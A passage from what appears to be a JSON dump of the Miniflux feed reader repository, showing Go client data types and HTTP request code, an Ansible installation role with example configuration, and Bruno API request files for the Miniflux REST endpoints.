`json:\"google_id\"`\n\tOpenIDConnectID           *string  `json:\"openid_connect_id\"`\n\tEntriesPerPage            *int     `json:\"entries_per_page\"`\n\tKeyboardShortcuts         *bool    `json:\"keyboard_shortcuts\"`\n\tShowReadingTime           *bool    `json:\"show_reading_time\"`\n\tEntrySwipe                *bool    `json:\"entry_swipe\"`\n\tGestureNav                *string  `json:\"gesture_nav\"`\n\tDisplayMode               *string  `json:\"display_mode\"`\n\tDefaultReadingSpeed       *int     `json:\"default_reading_speed\"`\n\tCJKReadingSpeed           *int     `json:\"cjk_reading_speed\"`\n\tDefaultHomePage           *string  `json:\"default_home_page\"`\n\tCategoriesSortingOrder    *string  `json:\"categories_sorting_order\"`\n\tMarkReadOnView            *bool    `json:\"mark_read_on_view\"`\n\tMediaPlaybackRate         *float64 `json:\"media_playback_rate\"`\n\tBlockFilterEntryRules     *string  `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules      *string  `json:\"keep_filter_entry_rules\"`\n\tExternalFontHosts         *string  `json:\"external_font_hosts\"`\n\tAlwaysOpenExternalLinks   *bool    `json:\"always_open_external_links\"`\n\tOpenExternalLinksInNewTab *bool    `json:\"open_external_links_in_new_tab\"`\n}\n\n// Users represents a list of users.\ntype Users []User\n\n// Category represents a feed category.\ntype Category struct {\n\tID           int64  `json:\"id\"`\n\tTitle        string `json:\"title\"`\n\tUserID       int64  `json:\"user_id,omitempty\"`\n\tHideGlobally bool   `json:\"hide_globally,omitempty\"`\n\tFeedCount    *int   `json:\"feed_count,omitempty\"`\n\tTotalUnread  *int   `json:\"total_unread,omitempty\"`\n}\n\nfunc (c Category) String() string {\n\treturn fmt.Sprintf(\"#%d %s\", c.ID, c.Title)\n}\n\n// Categories represents a list of categories.\ntype Categories []*Category\n\n// CategoryCreationRequest represents the request to create a category.\ntype CategoryCreationRequest struct {\n\tTitle        string `json:\"title\"`\n\tHideGlobally bool   `json:\"hide_globally\"`\n}\n\n// CategoryModificationRequest represents the request to update a category.\ntype CategoryModificationRequest struct {\n\tTitle        *string `json:\"title\"`\n\tHideGlobally *bool   `json:\"hide_globally\"`\n}\n\n// Subscription represents a feed subscription.\ntype Subscription struct {\n\tTitle string `json:\"title\"`\n\tURL   string `json:\"url\"`\n\tType  string `json:\"type\"`\n}\n\nfunc (s Subscription) String() string {\n\treturn fmt.Sprintf(`Title=%q, URL=%q, Type=%q`, s.Title, s.URL, s.Type)\n}\n\n// Subscriptions represents a list of subscriptions.\ntype Subscriptions []*Subscription\n\n// Feed represents a Miniflux feed.\ntype Feed struct {\n\tID                          int64     `json:\"id\"`\n\tUserID                      int64     `json:\"user_id\"`\n\tFeedURL                     string    `json:\"feed_url\"`\n\tSiteURL                     string    `json:\"site_url\"`\n\tTitle                       string    `json:\"title\"`\n\tCheckedAt                   time.Time `json:\"checked_at\"`\n\tEtagHeader                  string    `json:\"etag_header,omitempty\"`\n\tLastModifiedHeader          string    `json:\"last_modified_header,omitempty\"`\n\tParsingErrorMsg             string    `json:\"parsing_error_message,omitempty\"`\n\tParsingErrorCount           int       `json:\"parsing_error_count,omitempty\"`\n\tDisabled                    bool      `json:\"disabled\"`\n\tIgnoreHTTPCache             bool      `json:\"ignore_http_cache\"`\n\tAllowSelfSignedCertificates bool      `json:\"allow_self_signed_certificates\"`\n\tFetchViaProxy               bool      `json:\"fetch_via_proxy\"`\n\tScraperRules                string    `json:\"scraper_rules\"`\n\tRewriteRules                string    `json:\"rewrite_rules\"`\n\tUrlRewriteRules             string    `json:\"urlrewrite_rules\"`\n\tBlocklistRules              string    `json:\"blocklist_rules\"`\n\tKeeplistRules               string    `json:\"keeplist_rules\"`\n\tBlockFilterEntryRules       string    `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules        string    `json:\"keep_filter_entry_rules\"`\n\tCrawler                     bool      `json:\"crawler\"`\n\tIgnoreEntryUpdates          bool      `json:\"ignore_entry_updates\"`\n\tUserAgent                   string    `json:\"user_agent\"`\n\tCookie                      string    `json:\"cookie\"`\n\tUsername                    string    `json:\"username\"`\n\tPassword                    string    `json:\"password\"`\n\tCategory                    *Category `json:\"category,omitempty\"`\n\tHideGlobally                bool      `json:\"hide_globally\"`\n\tDisableHTTP2                bool      `json:\"disable_http2\"`\n\tProxyURL                    string    `json:\"proxy_url\"`\n}\n\n// FeedCreationRequest represents the request to create a feed.\ntype FeedCreationRequest struct {\n\tFeedURL                     string `json:\"feed_url\"`\n\tCategoryID                  int64  `json:\"category_id\"`\n\tUserAgent                   string `json:\"user_agent\"`\n\tCookie                      string `json:\"cookie\"`\n\tUsername                    string `json:\"username\"`\n\tPassword                    string `json:\"password\"`\n\tCrawler                     bool   `json:\"crawler\"`\n\tIgnoreEntryUpdates          bool   `json:\"ignore_entry_updates\"`\n\tDisabled                    bool   `json:\"disabled\"`\n\tIgnoreHTTPCache             bool   `json:\"ignore_http_cache\"`\n\tAllowSelfSignedCertificates bool   `json:\"allow_self_signed_certificates\"`\n\tFetchViaProxy               bool   `json:\"fetch_via_proxy\"`\n\tScraperRules                string `json:\"scraper_rules\"`\n\tRewriteRules                string `json:\"rewrite_rules\"`\n\tUrlRewriteRules             string `json:\"urlrewrite_rules\"`\n\tBlocklistRules              string `json:\"blocklist_rules\"`\n\tKeeplistRules               string `json:\"keeplist_rules\"`\n\tBlockFilterEntryRules       string `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules        string `json:\"keep_filter_entry_rules\"`\n\tHideGlobally                bool   `json:\"hide_globally\"`\n\tDisableHTTP2                bool   `json:\"disable_http2\"`\n\tProxyURL                    string `json:\"proxy_url\"`\n}\n\n// FeedModificationRequest represents the request to update a feed.\ntype FeedModificationRequest struct {\n\tFeedURL                     *string `json:\"feed_url\"`\n\tSiteURL                     *string `json:\"site_url\"`\n\tTitle                       *string `json:\"title\"`\n\tScraperRules                *string `json:\"scraper_rules\"`\n\tRewriteRules                *string `json:\"rewrite_rules\"`\n\tUrlRewriteRules             *string `json:\"urlrewrite_rules\"`\n\tBlocklistRules              *string `json:\"blocklist_rules\"`\n\tKeeplistRules               *string `json:\"keeplist_rules\"`\n\tBlockFilterEntryRules       *string `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules        *string `json:\"keep_filter_entry_rules\"`\n\tCrawler                     *bool   `json:\"crawler\"`\n\tIgnoreEntryUpdates          *bool   `json:\"ignore_entry_updates\"`\n\tUserAgent                   *string `json:\"user_agent\"`\n\tCookie                      *string `json:\"cookie\"`\n\tUsername                    *string `json:\"username\"`\n\tPassword                    *string `json:\"password\"`\n\tCategoryID                  *int64  `json:\"category_id\"`\n\tDisabled                    *bool   `json:\"disabled\"`\n\tIgnoreHTTPCache             *bool   `json:\"ignore_http_cache\"`\n\tAllowSelfSignedCertificates *bool   `json:\"allow_self_signed_certificates\"`\n\tFetchViaProxy               *bool   `json:\"fetch_via_proxy\"`\n\tHideGlobally                *bool   `json:\"hide_globally\"`\n\tDisableHTTP2                *bool   `json:\"disable_http2\"`\n\tProxyURL                    *string `json:\"proxy_url\"`\n}\n\n// FeedIcon represents the feed icon.\ntype FeedIcon struct {\n\tID       int64  `json:\"id\"`\n\tMimeType string `json:\"mime_type\"`\n\tData     string `json:\"data\"`\n}\n\ntype FeedCounters struct {\n\tReadCounters   map[int64]int `json:\"reads\"`\n\tUnreadCounters map[int64]int `json:\"unreads\"`\n}\n\n// Feeds represents a list of feeds.\ntype Feeds []*Feed\n\n// Entry represents a subscription item in the system.\ntype Entry struct {\n\tID          int64      `json:\"id\"`\n\tDate        time.Time  `json:\"published_at\"`\n\tChangedAt   time.Time  `json:\"changed_at\"`\n\tCreatedAt   time.Time  `json:\"created_at\"`\n\tFeed        *Feed      `json:\"feed,omitempty\"`\n\tHash        string     `json:\"hash\"`\n\tURL         string     `json:\"url\"`\n\tCommentsURL string     `json:\"comments_url\"`\n\tTitle       string     `json:\"title\"`\n\tStatus      string     `json:\"status\"`\n\tContent     string     `json:\"content\"`\n\tAuthor      string     `json:\"author\"`\n\tShareCode   string     `json:\"share_code\"`\n\tEnclosures  Enclosures `json:\"enclosures,omitempty\"`\n\tTags        []string   `json:\"tags\"`\n\tReadingTime int        `json:\"reading_time\"`\n\tUserID      int64      `json:\"user_id\"`\n\tFeedID      int64      `json:\"feed_id\"`\n\tStarred     bool       `json:\"starred\"`\n}\n\n// EntryModificationRequest represents a request to modify an entry.\ntype EntryModificationRequest struct {\n\tTitle   *string `json:\"title\"`\n\tContent *string `json:\"content\"`\n}\n\n// Entries represents a list of entries.\ntype Entries []*Entry\n\n// Enclosure represents an attachment.\ntype Enclosure struct {\n\tID               int64  `json:\"id\"`\n\tUserID           int64  `json:\"user_id\"`\n\tEntryID          int64  `json:\"entry_id\"`\n\tURL              string `json:\"url\"`\n\tMimeType         string `json:\"mime_type\"`\n\tSize             int    `json:\"size\"`\n\tMediaProgression int64  `json:\"media_progression\"`\n}\n\ntype EnclosureUpdateRequest struct {\n\tMediaProgression int64 `json:\"media_progression\"`\n}\n\n// Enclosures represents a list of attachments.\ntype Enclosures []*Enclosure\n\nconst (\n\tFilterNotStarred  = \"0\"\n\tFilterOnlyStarred = \"1\"\n)\n\n// Filter is used to filter entries.\ntype Filter struct {\n\tStatus          string\n\tOffset          int\n\tLimit           int\n\tOrder           string\n\tDirection       string\n\tStarred         string\n\tBefore          int64\n\tAfter           int64\n\tPublishedBefore int64\n\tPublishedAfter  int64\n\tChangedBefore   int64\n\tChangedAfter    int64\n\tBeforeEntryID   int64\n\tAfterEntryID    int64\n\tSearch          string\n\tCategoryID      int64\n\tFeedID          int64\n\tStatuses        []string\n\tGloballyVisible bool\n}\n\n// EntryResultSet represents the response when fetching entries.\ntype EntryResultSet struct {\n\tTotal   int     `json:\"total\"`\n\tEntries Entries `json:\"entries\"`\n}\n\n// VersionResponse represents the version and the build information of the Miniflux instance.\ntype VersionResponse struct {\n\tVersion   string `json:\"version\"`\n\tCommit    string `json:\"commit\"`\n\tBuildDate string `json:\"build_date\"`\n\tGoVersion string `json:\"go_version\"`\n\tCompiler  string `json:\"compiler\"`\n\tArch      string `json:\"arch\"`\n\tOS        string `json:\"os\"`\n}\n\n// APIKey represents an application API key.\ntype APIKey struct {\n\tID          int64      `json:\"id\"`\n\tUserID      int64      `json:\"user_id\"`\n\tToken       string     `json:\"token\"`\n\tDescription string     `json:\"description\"`\n\tLastUsedAt  *time.Time `json:\"last_used_at\"`\n\tCreatedAt   time.Time  `json:\"created_at\"`\n}\n\n// APIKeys represents a collection of API keys.\ntype APIKeys []*APIKey\n\n// APIKeyCreationRequest represents the request to create an API key.\ntype APIKeyCreationRequest struct {\n\tDescription string `json:\"description\"`\n}\n\n// SetOptionalField returns a pointer to the given value so optional request fields can be marked as set.\n//\n//go:fix inline\nfunc SetOptionalField[T any](value T) *T {\n\treturn new(value)\n}\n"
  },
  {
    "path": "client/options.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage client // import \"miniflux.app/v2/client\"\n\nimport \"net/http\"\n\ntype Option func(*request)\n\n// WithAPIKey sets the API key for the client.\nfunc WithAPIKey(apiKey string) Option {\n\treturn func(r *request) {\n\t\tr.apiKey = apiKey\n\t}\n}\n\n// WithCredentials sets the username and password for the client.\nfunc WithCredentials(username, password string) Option {\n\treturn func(r *request) {\n\t\tr.username = username\n\t\tr.password = password\n\t}\n}\n\n// WithHTTPClient sets the HTTP client for the client.\nfunc WithHTTPClient(client *http.Client) Option {\n\treturn func(r *request) {\n\t\tr.client = client\n\t}\n}\n"
  },
  {
    "path": "client/request.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage client // import \"miniflux.app/v2/client\"\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n)\n\nconst (\n\tuserAgent      = \"Miniflux Client Library\"\n\tdefaultTimeout = 80 * time.Second\n)\n\n// List of exposed errors.\nvar (\n\tErrNotAuthorized = errors.New(\"miniflux: unauthorized (bad credentials)\")\n\tErrForbidden     = errors.New(\"miniflux: access forbidden\")\n\tErrServerError   = errors.New(\"miniflux: internal server error\")\n\tErrNotFound      = errors.New(\"miniflux: resource not found\")\n\tErrBadRequest    = errors.New(\"miniflux: bad request\")\n\tErrEmptyEndpoint = errors.New(\"miniflux: empty endpoint provided\")\n)\n\ntype errorResponse struct {\n\tErrorMessage string `json:\"error_message\"`\n}\n\ntype request struct {\n\tendpoint string\n\tusername string\n\tpassword string\n\tapiKey   string\n\tclient   *http.Client\n}\n\nfunc (r *request) Get(ctx context.Context, path string) (io.ReadCloser, error) {\n\treturn r.execute(ctx, http.MethodGet, path, nil)\n}\n\nfunc (r *request) Post(ctx context.Context, path string, data any) (io.ReadCloser, error) {\n\treturn r.execute(ctx, http.MethodPost, path, data)\n}\n\nfunc (r *request) PostFile(ctx context.Context, path string, f io.ReadCloser) (io.ReadCloser, error) {\n\treturn r.execute(ctx, http.MethodPost, path, f)\n}\n\nfunc (r *request) Put(ctx context.Context, path string, data any) (io.ReadCloser, error) {\n\treturn r.execute(ctx, http.MethodPut, path, data)\n}\n\nfunc (r *request) Delete(ctx context.Context, path string) error {\n\t_, err := r.execute(ctx, http.MethodDelete, path, nil)\n\treturn err\n}\n\nfunc (r *request) execute(\n\tctx context.Context,\n\tmethod string,\n\tpath string,\n\tdata any,\n) (io.ReadCloser, error) {\n\tif r.endpoint == \"\" {\n\t\treturn nil, ErrEmptyEndpoint\n\t}\n\tif r.endpoint[len(r.endpoint)-1:] == \"/\" {\n\t\tr.endpoint = r.endpoint[:len(r.endpoint)-1]\n\t}\n\n\tu, err := url.Parse(r.endpoint + path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trequest, err := http.NewRequestWithContext(ctx, method, u.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trequest.Header = r.buildHeaders()\n\n\tif r.username != \"\" && r.password != \"\" {\n\t\trequest.SetBasicAuth(r.username, r.password)\n\t}\n\n\tif data != nil {\n\t\tswitch data := data.(type) {\n\t\tcase io.ReadCloser:\n\t\t\trequest.Body = data\n\t\tdefault:\n\t\t\trequest.Body = io.NopCloser(bytes.NewBuffer(r.toJSON(data)))\n\t\t}\n\t}\n\n\tclient := r.client\n\tresponse, err := client.Do(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch response.StatusCode {\n\tcase http.StatusUnauthorized:\n\t\tresponse.Body.Close()\n\t\treturn nil, ErrNotAuthorized\n\tcase http.StatusForbidden:\n\t\tresponse.Body.Close()\n\t\treturn nil, ErrForbidden\n\tcase http.StatusInternalServerError:\n\t\tdefer response.Body.Close()\n\n\t\tvar resp errorResponse\n\t\tdecoder := json.NewDecoder(response.Body)\n\t\t// If we failed to decode, just return a generic ErrServerError\n\t\tif err := decoder.Decode(&resp); err != nil {\n\t\t\treturn nil, ErrServerError\n\t\t}\n\t\treturn nil, errors.New(\"miniflux: internal server error: \" + resp.ErrorMessage)\n\tcase http.StatusNotFound:\n\t\tresponse.Body.Close()\n\t\treturn nil, ErrNotFound\n\tcase http.StatusNoContent:\n\t\tresponse.Body.Close()\n\t\treturn nil, nil\n\tcase http.StatusBadRequest:\n\t\tdefer response.Body.Close()\n\n\t\tvar resp errorResponse\n\t\tdecoder := json.NewDecoder(response.Body)\n\t\tif err := decoder.Decode(&resp); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w (%v)\", ErrBadRequest, err)\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrBadRequest, resp.ErrorMessage)\n\t}\n\n\tif response.StatusCode > 400 {\n\t\tresponse.Body.Close()\n\t\treturn nil, fmt.Errorf(\"miniflux: status code=%d\", response.StatusCode)\n\t}\n\n\treturn response.Body, nil\n}\n\nfunc (r *request) buildHeaders() http.Header {\n\theaders := make(http.Header)\n\theaders.Add(\"User-Agent\", userAgent)\n\theaders.Add(\"Content-Type\", \"application/json\")\n\theaders.Add(\"Accept\", \"application/json\")\n\tif r.apiKey != \"\" {\n\t\theaders.Add(\"X-Auth-Token\", r.apiKey)\n\t}\n\treturn headers\n}\n\nfunc (r *request) toJSON(v any) []byte {\n\tb, err := json.Marshal(v)\n\tif err != nil {\n\t\tlog.Println(\"Unable to convert interface to JSON:\", err)\n\t\treturn []byte(\"\")\n\t}\n\n\treturn b\n}\n"
  },
  {
    "path": "contrib/README.md",
    "content": "The contrib directory contains various useful things contributed by the community.\n\nCommunity contributions are not officially supported by the maintainers.\nThere is no guarantee whatsoever that anything in this folder works.\n"
  },
  {
    "path": "contrib/ansible/inventories/group_vars/miniflux_vars.yml",
    "content": "---\n  miniflux_linux_user: miniflux\n  miniflux_db_user_name: miniflux_db_user\n  miniflux_db_user_password: miniflux_db_user_password\n  miniflux_db: miniflux_db\n  miniflux_admin_name: admin\n  miniflux_admin_passwort: miniflux_admin_password\n  miniflux_port: 8080\n"
  },
  {
    "path": "contrib/ansible/playbooks/playbook.yml",
    "content": "---\n- hosts: miniflux\n  roles:\n    - { role: mgrote.miniflux, tags: \"miniflux\" }"
  },
  {
    "path": "contrib/ansible/roles/mgrote.miniflux/README.md",
    "content": "## mgrote.miniflux\n\n### Details\nInstalls and configures Miniflux v2 with ansible\n\n### Works on...\n- [x] Ubuntu (>=18.04)\n\n### Variables and Defaults\n##### Linux User\n    miniflux_linux_user: miniflux\n##### DB User\n    miniflux_db_user_name: miniflux_db_user\n##### DB Password\n    miniflux_db_user_password: qqqqqqqqqqqqq\n##### Database\n    miniflux_db: miniflux_db\n##### Username Miniflux Admin\n    miniflux_admin_name: admin\n##### Password Miniflux Admin\n    miniflux_admin_passwort: hallowelt\n##### Port for Miniflux Frontend\n    miniflux_port: 8080\n"
  },
  {
    "path": "contrib/ansible/roles/mgrote.miniflux/defaults/main.yml",
    "content": ""
  },
  {
    "path": "contrib/ansible/roles/mgrote.miniflux/handlers/main.yml",
    "content": "---\n  - name: start_miniflux.service\n    become: yes\n    systemd:\n      name: miniflux\n      state: restarted\n      enabled: yes\n# wait 15 seconds(for systemd)\n  - name: miniflux_wait\n    wait_for:\n      timeout: 15\n"
  },
  {
    "path": "contrib/ansible/roles/mgrote.miniflux/tasks/main.yml",
    "content": "  - name: add Apt-key for miniflux-repo\n    become: yes\n    apt_key:\n      url: https://apt.miniflux.app/KEY.gpg\n      state: present\n\n  - name: add miniflux-repo\n    become: yes\n    apt_repository:\n      repo: 'deb https://apt.miniflux.app/ /' \n      state: present\n      filename: miniflux_repo\n      update_cache: yes\n\n  - name: install miniflux\n    become: yes\n    apt:\n      name: miniflux\n      state: present\n\n  - name: add miniflux linux_user\n    become: yes\n    user:\n      name: \"{{ miniflux_linux_user }}\"\n      home: \"/var/empty\"\n      create_home: \"no\"\n      system: \"yes\"\n      shell: \"/bin/false\"\n\n  - name: create directory \"/etc/miniflux.d\"\n    become: yes\n    file:\n      path: /etc/miniflux.d\n      state: directory\n\n  - name: copy miniflux.conf\n    become: yes\n    template:\n      src: \"miniflux.conf\"\n      dest: \"/etc/miniflux.conf\"\n    notify:\n      - start_miniflux.service\n      - miniflux_wait\n"
  },
  {
    "path": "contrib/ansible/roles/mgrote.miniflux/templates/miniflux.conf",
    "content": "# See https://docs.miniflux.app/\n\nLISTEN_ADDR=0.0.0.0:{{ miniflux_port }}\nDATABASE_URL=user={{ miniflux_db_user_name }} password={{ miniflux_db_user_password }} dbname={{ miniflux_db }} sslmode=disable\n\nPOLLING_FREQUENCY=15\nPROXY_IMAGES=http-only\n\n# Run SQL migrations automatically:\nRUN_MIGRATIONS=1\n\nCREATE_ADMIN=1\nADMIN_USERNAME={{ miniflux_admin_name }}\nADMIN_PASSWORD={{ miniflux_admin_passwort }}\n\nPOLLING_FREQUENCY=10\n\n# Options: https://miniflux.app/miniflux.1.html\n"
  },
  {
    "path": "contrib/bruno/README.md",
    "content": "This folder contains Miniflux API collection for [Bruno](https://www.usebruno.com).\n\nBruno is a lightweight alternative to Postman/Insomnia.\n\n- https://www.usebruno.com\n- https://github.com/usebruno/bruno"
  },
  {
    "path": "contrib/bruno/miniflux/Bookmark an entry.bru",
    "content": "meta {\n  name: Bookmark an entry\n  type: http\n  seq: 37\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/entries/{{entryID}}/bookmark\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n\nvars:pre-request {\n  entryID: 1698\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Create a feed.bru",
    "content": "meta {\n  name: Create a feed\n  type: http\n  seq: 19\n}\n\npost {\n  url: {{minifluxBaseURL}}/v1/feeds\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Create a new category.bru",
    "content": "meta {\n  name: Create a new category\n  type: http\n  seq: 10\n}\n\npost {\n  url: {{minifluxBaseURL}}/v1/categories\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Create a new user.bru",
    "content": "meta {\n  name: Create a new user\n  type: http\n  seq: 5\n}\n\npost {\n  url: {{minifluxBaseURL}}/v1/users\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"username\": \"foobar\",\n    \"password\": \"secret123\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Delete a category.bru",
    "content": "meta {\n  name: Delete a category\n  type: http\n  seq: 12\n}\n\ndelete {\n  url: {{minifluxBaseURL}}/v1/categories/{{categoryID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test Update\"\n  }\n}\n\nvars:pre-request {\n  categoryID: 1\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Delete a feed.bru",
    "content": "meta {\n  name: Delete a feed\n  type: http\n  seq: 26\n}\n\ndelete {\n  url: {{minifluxBaseURL}}/v1/feeds/{{feedID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"user_agent\": \"My user agent\"\n  }\n}\n\nvars:pre-request {\n  feedID: 18\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Delete a user.bru",
    "content": "meta {\n  name: Delete a user\n  type: http\n  seq: 7\n}\n\ndelete {\n  url: {{minifluxBaseURL}}/v1/users/{{userID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"language\": \"fr_FR\"\n  }\n}\n\nvars:pre-request {\n  userID: 2\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Discover feeds.bru",
    "content": "meta {\n  name: Discover feeds\n  type: http\n  seq: 18\n}\n\npost {\n  url: {{minifluxBaseURL}}/v1/discover\n  body: json\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"url\": \"https://miniflux.app\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Fetch entry website content.bru",
    "content": "meta {\n  name: Fetch entry website content\n  type: http\n  seq: 39\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/entries/{{entryID}}/fetch-content\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n\nvars:pre-request {\n  entryID: 1698\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Flush history.bru",
    "content": "meta {\n  name: Flush history\n  type: http\n  seq: 40\n}\n\nput {\n  url: {{minifluxBaseURL}}/v1/flush-history\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"url\": \"https://miniflux.app\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get a single entry.bru",
    "content": "meta {\n  name: Get a single entry\n  type: http\n  seq: 36\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/entries/{{entryID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n\nvars:pre-request {\n  entryID: 1698\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get a single feed entry.bru",
    "content": "meta {\n  name: Get a single feed entry\n  type: http\n  seq: 33\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/feeds/{{feedID}}/entries/{{entryID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n\nvars:pre-request {\n  feedID: 19\n  entryID: 1698\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get a single feed.bru",
    "content": "meta {\n  name: Get a single feed\n  type: http\n  seq: 24\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/feeds/{{feedID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n\nvars:pre-request {\n  feedID: 18\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get a single user by ID.bru",
    "content": "meta {\n  name: Get a single user by ID\n  type: http\n  seq: 3\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/users/{{userID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nvars:pre-request {\n  userID: 1\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get a single user by username.bru",
    "content": "meta {\n  name: Get a single user by username\n  type: http\n  seq: 4\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/users/{{username}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nvars:pre-request {\n  username: admin\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get all categories.bru",
    "content": "meta {\n  name: Get all categories\n  type: http\n  seq: 9\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/categories\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get all entries.bru",
    "content": "meta {\n  name: Get all entries\n  type: http\n  seq: 34\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/entries\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get all feeds.bru",
    "content": "meta {\n  name: Get all feeds\n  type: http\n  seq: 20\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/feeds\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"feed_url\": \"https://miniflux.app/feed.xml\"\n  }\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get all users.bru",
    "content": "meta {\n  name: Get all users\n  type: http\n  seq: 2\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/users\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get category entries.bru",
    "content": "meta {\n  name: Get category entries\n  type: http\n  seq: 16\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/categories/{{categoryID}}/entries\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test Update\"\n  }\n}\n\nvars:pre-request {\n  categoryID: 2\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get category entry.bru",
    "content": "meta {\n  name: Get category entry\n  type: http\n  seq: 17\n}\n\nget {\n  url: {{minifluxBaseURL}}/v1/categories/{{categoryID}}/entries/{{entryID}}\n  body: none\n  auth: basic\n}\n\nauth:basic {\n  username: {{minifluxUsername}}\n  password: {{minifluxPassword}}\n}\n\nbody:json {\n  {\n    \"title\": \"Test Update\"\n  }\n}\n\nvars:pre-request {\n  categoryID: 2\n  entryID: 1\n}\n"
  },
  {
    "path": "contrib/bruno/miniflux/Get category feeds.bru",
